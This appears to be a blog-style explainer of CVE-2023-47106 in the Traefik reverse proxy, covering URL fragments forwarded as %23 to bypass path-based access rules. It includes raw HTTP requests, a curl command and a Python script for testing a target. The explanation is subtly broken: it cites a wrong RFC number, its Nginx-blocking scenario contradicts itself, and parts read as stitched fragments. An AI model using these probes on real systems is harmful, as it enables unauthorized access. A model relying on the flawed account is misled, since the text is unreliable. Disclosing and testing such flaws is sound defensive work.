In late 2023, a vulnerability tracked as CVE-2023-47106 was disclosed in Traefik, a popular open-source HTTP reverse proxy and load balancer. This issue can allow attackers to bypass route-based protections by abusing how URL fragments are processed and forwarded by Traefik—even when another proxy such as Nginx is placed in front.

In this post, we’ll break down what CVE-2023-47106 is, how it can be exploited, and the impact it can have on your deployments. We’ll also look at some code snippets, real-world exploit scenarios, and practical advice for remediation.

What is the issue with CVE-2023-47106?

When Traefik receives an HTTP request containing a URL fragment (the part after the #), Traefik incorrectly encodes and forwards it to backend servers. This isn’t compliant with RFC 723, which defines that only the path and query components should be forwarded—fragments are meant for browsers, not servers.

Brazenly, the fragment can get encoded as %23 (the encoded version of #) and handed off to the next hop. Backends and intermediaries, especially WAFs or proxy servers, can behave differently when encountering these rewritten URLs.

Nginx as a frontend proxy (enforcing access rules)

2. Traefik as a backend/reverse proxy

Backend application

If Nginx is blocking requests to /private, but only checks up to the ? (query) and stops at the # (fragment, which it ignores), an attacker can send:

GET /private#hello HTTP/1.1
Host: vulnerable.site

Nginx sees /private (safe, blocks as expected), but Traefik will forward

GET /private%23hello HTTP/1.1
Host: backend

Now, if the backend application decodes %23 as #, access controls that were based on the path can be bypassed. This results in accessing protected routes!

Diagram

Attacker
   |
GET /secret#bypass
   |
[Nginx frontend] (blocks /secret?*) — ignores fragment
   |
   V
[Traefik backend] (encodes # to %23)
   |
   V
[Backend App] (sees /secret%23bypass)

1. Send a Request With Fragment

curl -v "http://TARGET/private#bypass";

Nginx Access Log (Blocked)

GET /private HTTP/1.1

On Backend (Received via Traefik)

GET /private%23bypass HTTP/1.1

2. Example Nginx Config (blocking /private)

location /private {
    deny all;
}

But you can access /private%23bypass via Traefik if the backend doesn’t enforce the same restriction.

3. Testing with a Script

import requests

url = "http://victim.com/private#admin";
r = requests.get(url)
print(r.status_code)

If you get a 200 OK instead of a block/403, you’ve found the issue.

API Gateways: Access to endpoints that should be protected.

- Multi-layer Proxies: Second-level proxies (like Traefik) may forward encoded fragments, which is not expected.

- Original CVE-2023-47106 advisory
- Traefik Security Announcement
- RFC 723, Section 5.3: Request Target
- Traefik Releases

If you use Traefik, update immediately!

Older versions are still vulnerable. There are *no known workarounds*. Simply blocking fragments in frontend proxies is *not sufficient*.

Conclusion

CVE-2023-47106 is a great example of how deviations from protocol specs (RFCs) can open serious security holes—especially in multi-layered architectures. If you’re running Traefik behind another proxy and relying on path-based access controls: patch now!

Always stay up to date with your infrastructure components, and be aware of how they process and forward HTTP requests—even those obscure fragment bits most of us never think about.


Stay safe!
For more details, consult the official advisory.

Timeline

Published on: 12/04/2023 21:15:33 UTC
Last modified on: 12/07/2023 21:01:57 UTC